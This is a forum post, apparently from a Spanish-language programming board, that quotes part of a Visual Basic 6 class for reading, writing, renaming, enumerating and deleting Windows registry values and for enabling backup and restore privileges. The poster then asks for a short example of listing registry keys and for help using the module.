  303.        HaveSubKey = (RegEnumKeyEx(mKey, 0, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) = ERROR_SUCCESS)
  304.        RegCloseKey mKey
  305.    End If
  306. End Function
  307.  
  308. Public Function CreateValue(ByVal sPath As String, ByVal sName As String, ByVal nType As rcRegType) As Boolean
  309.    hKey = GetKeys(sPath, sKey)
  310.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  311.        CreateValue = (RegSetValueEx(mKey, sName, 0, nType, 0&, 0&) = ERROR_SUCCESS)
  312.        RegCloseKey mKey
  313.    End If
  314. End Function
  315.  
  316. Public Function KillValue(ByVal sPath As String, ByVal sName As String) As Boolean
  317.  
  318.    hKey = GetKeys(sPath, sKey)
  319.  
  320.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  321.        KillValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
  322.        RegCloseKey mKey
  323.    End If
  324.  
  325. End Function
  326.  
  327. Public Function ValueExists(ByVal sPath As String, ByVal sName As String) As Boolean
  328.  
  329.    hKey = GetKeys(sPath, sKey)
  330.  
  331.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  332.        ValueExists = (RegQueryValueEx(mKey, sName, 0&, 0&, ByVal 0&, 0&) = ERROR_SUCCESS)
  333.        RegCloseKey mKey
  334.    End If
  335.  
  336. End Function
  337.  
  338. Public Function RenameValue(ByVal sPath As String, ByVal sName As String, ByVal sNewName As String) As Boolean
  339.    Dim lLenBuff As Long
  340.    Dim bData() As Byte
  341.    Dim lType As Long
  342.  
  343.  
  344.    hKey = GetKeys(sPath, sKey)
  345.  
  346.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  347.        If RegQueryValueEx(mKey, sName, 0, lType, ByVal 0&, lLenBuff) = ERROR_SUCCESS Then
  348.           If lLenBuff Then
  349.                ReDim bData(lLenBuff - 1)
  350.                If (RegQueryValueEx(mKey, sName, 0, REG_BINARY, bData(0), lLenBuff) = ERROR_SUCCESS) Then
  351.                    If RegSetValueEx(mKey, sNewName, 0, lType, bData(0), lLenBuff) = ERROR_SUCCESS Then
  352.                        RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
  353.                    End If
  354.                End If
  355.            Else
  356.                If (RegSetValueEx(mKey, sNewName, 0, lType, 0&, 0&) = ERROR_SUCCESS) Then
  357.                    RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
  358.                End If
  359.            End If
  360.        End If
  361.        RegCloseKey mKey
  362.    End If
  363. End Function
  364.  
  365. Public Function EnumValues(ByVal sPath As String, ByRef sValue() As String, ByRef lRegType() As Long, ByRef vData() As Variant, Optional ByVal ReturnString As Boolean) As Long
  366.    Dim sValueName As String
  367.    Dim LenName As Long
  368.    Dim LenData As Long
  369.    Dim Index As Long
  370.    Dim EnuRegType As rcRegType
  371.  
  372.  
  373.    Erase sValue
  374.    Erase vData
  375.    Erase lRegType
  376.  
  377.    hKey = GetKeys(sPath, sKey)
  378.  
  379.    If hKey = 0 Then EnumValues = -1: Exit Function
  380.  
  381.    If RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS Then
  382.  
  383.        Do
  384.            sValueName = String(255, vbNullChar)
  385.            LenName = Len(sValueName)
  386.  
  387.            If (RegEnumValue(mKey, Index, ByVal sValueName, LenName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
  388.                sValueName = Left$(sValueName, LenName)
  389.                ReDim Preserve sValue(Index)
  390.                ReDim Preserve vData(Index)
  391.                ReDim Preserve lRegType(Index)
  392.  
  393.                sValue(Index) = sValueName
  394.                lRegType(Index) = EnuRegType
  395.  
  396.                Select Case EnuRegType
  397.                    Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
  398.                        Dim sData As String
  399.                        If LenData > 0 Then
  400.                            sData = String(LenData - 1, vbNullChar)
  401.                            Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
  402.                            vData(Index) = sData
  403.                        Else
  404.                            vData(Index) = vbNullString
  405.                        End If
  406.  
  407.                    Case REG_DWORD
  408.                        Dim lVal As Long
  409.                        lVal = 0
  410.                        Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, lVal, 4)
  411.                         vData(Index) = lVal
  412.                    Case REG_BINARY
  413.                        Dim ArrData() As Byte
  414.                        If LenData > 0 Then
  415.                            If ReturnString Then
  416.                                sData = String(LenData, vbNullChar)
  417.                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
  418.                                vData(Index) = sData
  419.                            Else
  420.                                ReDim ArrData(LenData - 1)
  421.                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ArrData(0), LenData)
  422.                                vData(Index) = ArrData
  423.                            End If
  424.                        End If
  425.  
  426.                End Select
  427.  
  428.                Index = Index + 1
  429.            Else
  430.                Exit Do
  431.            End If
  432.        Loop
  433.  
  434.        RegCloseKey hKey
  435.        EnumValues = Index
  436.    Else
  437.        EnumValues = -1
  438.    End If
  439.  
  440. End Function
  441.  
  442. Public Function ReadValue(ByVal sPath As String, ByVal sName As String, Optional vDefault As Variant = vbNullChar) As Variant
  443.    Dim LenData As Long
  444.    Dim EnuRegType As rcRegType
  445.  
  446.  
  447.    hKey = GetKeys(sPath, sKey)
  448.  
  449.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  450.  
  451.        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
  452.  
  453.            Select Case EnuRegType
  454.                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
  455.                    Dim sData As String
  456.                    If LenData > 0 Then
  457.                        sData = String$(LenData - 1, vbNullChar)
  458.                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal sData, LenData) = ERROR_SUCCESS) Then
  459.                            ReadValue = sData
  460.                        Else
  461.                            ReadValue = CStr(vDefault)
  462.                        End If
  463.                    Else
  464.                        ReadValue = vbNullString
  465.                    End If
  466.  
  467.                Case REG_DWORD
  468.                    Dim lVal As Long
  469.  
  470.                    If (RegQueryValueEx(mKey, sName, 0, EnuRegType, lVal, 4) = ERROR_SUCCESS) Then
  471.                        ReadValue = lVal
  472.                    Else
  473.                        ReadValue = CLng(vDefault)
  474.                    End If
  475.  
  476.                Case REG_BINARY
  477.                    Dim ArrData() As Byte
  478.                    If LenData > 0 Then
  479.                        ReDim ArrData(LenData - 1)
  480.                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ArrData(0), LenData) = ERROR_SUCCESS) Then
  481.                            ReadValue = ArrData
  482.                        Else
  483.                            ArrData = vDefault
  484.                        End If
  485.                    Else
  486.                        ArrData = vDefault
  487.                    End If
  488.  
  489.            End Select
  490.        End If
  491.        RegCloseKey mKey
  492.    End If
  493. End Function
  494.  
  495. Public Function WriteValue(ByVal sPath As String, ByVal sName As String, ByVal vValue As Variant) As Boolean
  496.    Dim LenData As Long
  497.    Dim bData() As Byte
  498.    Dim EnuRegType As rcRegType
  499.    Dim lRet As Long
  500.  
  501.    hKey = GetKeys(sPath, sKey)
  502.  
  503.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  504.  
  505.        If sName = vbNullString Then
  506.            EnuRegType = REG_SZ
  507.        Else
  508.            lRet = RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData)
  509.        End If
  510.  
  511.        If (lRet = ERROR_SUCCESS) Then
  512.            Select Case EnuRegType
  513.                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
  514.  
  515.                    LenData = Len(vValue)
  516.  
  517.                    If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
  518.                        WriteValue = True
  519.                    End If
  520.  
  521.                Case REG_DWORD
  522.                    If RegSetValueEx(mKey, sName, 0, EnuRegType, CLng(vValue), 4) = ERROR_SUCCESS Then
  523.                        WriteValue = True
  524.                    End If
  525.                Case REG_BINARY
  526.                    Select Case VarType(vValue)
  527.                        Case (vbArray Or vbByte)
  528.                            bData = vValue
  529.                            LenData = UBound(bData) + 1
  530.                            If RegSetValueEx(mKey, sName, 0, EnuRegType, bData(0), LenData) = ERROR_SUCCESS Then
  531.                                WriteValue = True
  532.                            End If
  533.                        Case vbString
  534.                            LenData = Len(vValue)
  535.                            If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
  536.                                WriteValue = True
  537.                            End If
  538.                        Case 0
  539.                            If RegSetValueEx(mKey, sName, 0, EnuRegType, 0&, 0&) = ERROR_SUCCESS Then
  540.                                WriteValue = VarType(vValue)
  541.                            End If
  542.                    End Select
  543.  
  544.            End Select
  545.        End If
  546.        RegCloseKey mKey
  547.    End If
  548.  
  549. End Function
  550.  
  551.  
  552. Private Function GetKeys(sPath As String, sKey As String) As rcMainKey
  553.    Dim Pos As Long, mk As String
  554.  
  555.    sPath = Replace$(sPath, "HKCR", "HKEY_CLASSES_ROOT", , , 1)
  556.    sPath = Replace$(sPath, "HKCU", "HKEY_CURRENT_USER", , , 1)
  557.    sPath = Replace$(sPath, "HKLM", "HKEY_LOCAL_MACHINE", , , 1)
  558.    sPath = Replace$(sPath, "HKUS", "HKEY_USERS", , , 1)
  559.    sPath = Replace$(sPath, "HKCC", "HKEY_CURRENT_CONFIG", , , 1)
  560.  
  561.    Pos = InStr(1, sPath, "\")
  562.  
  563.    If (Pos = 0) Then
  564.        mk = UCase$(sPath)
  565.        sKey = ""
  566.    Else
  567.        mk = UCase$(Left$(sPath, Pos - 1))
  568.        sKey = Right$(sPath, Len(sPath) - Pos)
  569.    End If
  570.  
  571.    Select Case mk
  572.        Case "HKEY_CLASSES_ROOT": GetKeys = HKEY_CLASSES_ROOT
  573.        Case "HKEY_CURRENT_USER": GetKeys = HKEY_CURRENT_USER
  574.        Case "HKEY_LOCAL_MACHINE": GetKeys = HKEY_LOCAL_MACHINE
  575.        Case "HKEY_USERS": GetKeys = HKEY_USERS
  576.        Case "HKEY_CURRENT_CONFIG": GetKeys = HKEY_CURRENT_CONFIG
  577.    End Select
  578.  
  579. End Function
  580.  
  581.  
  582. Private Sub SetBackupAndRestorePriviliges()
  583.    Dim m_RestoreLuid   As Luid
  584.    Dim m_BackupLuid    As Luid
  585.  
  586.    Call OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVLEGES Or TOKEN_QUERY, m_hToken)
  587.    Call LookupPrivilegeValue(vbNullString, SE_RESTORE_NAME, m_RestoreLuid)
  588.    Call LookupPrivilegeValue(vbNullString, SE_BACKUP_NAME, m_BackupLuid)
  589.  
  590.    m_TP.PrivilegeCount = 2
  591.    m_TP.Privileges(0).pLuid = m_RestoreLuid
  592.    m_TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
  593.    m_TP.Privileges(1).pLuid = m_BackupLuid
  594.    m_TP.Privileges(1).Attributes = SE_PRIVILEGE_ENABLED
  595.  
  596.    Call AdjustTokenPrivileges(m_hToken, 0, m_TP, Len(m_TP), 0&, 0&)
  597.  
  598. End Sub
  599.  
  600. Private Sub ResetBackupAndRestorePriviliges()
  601.    Call AdjustTokenPrivileges(m_hToken, 1, m_TP, Len(m_TP), 0&, 0&)
  602. End Sub
  603.  
  604. Private Sub Class_Terminate()
  605.    bCancelSearch = True
  606. End Sub
  607.  
  608.  

Si me puedes decir un breve ejemplo para listar las carpetas del registro

Saludos! espero ayuda detallada de como utilizar tu modulo. Muchas gracias por leer!
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines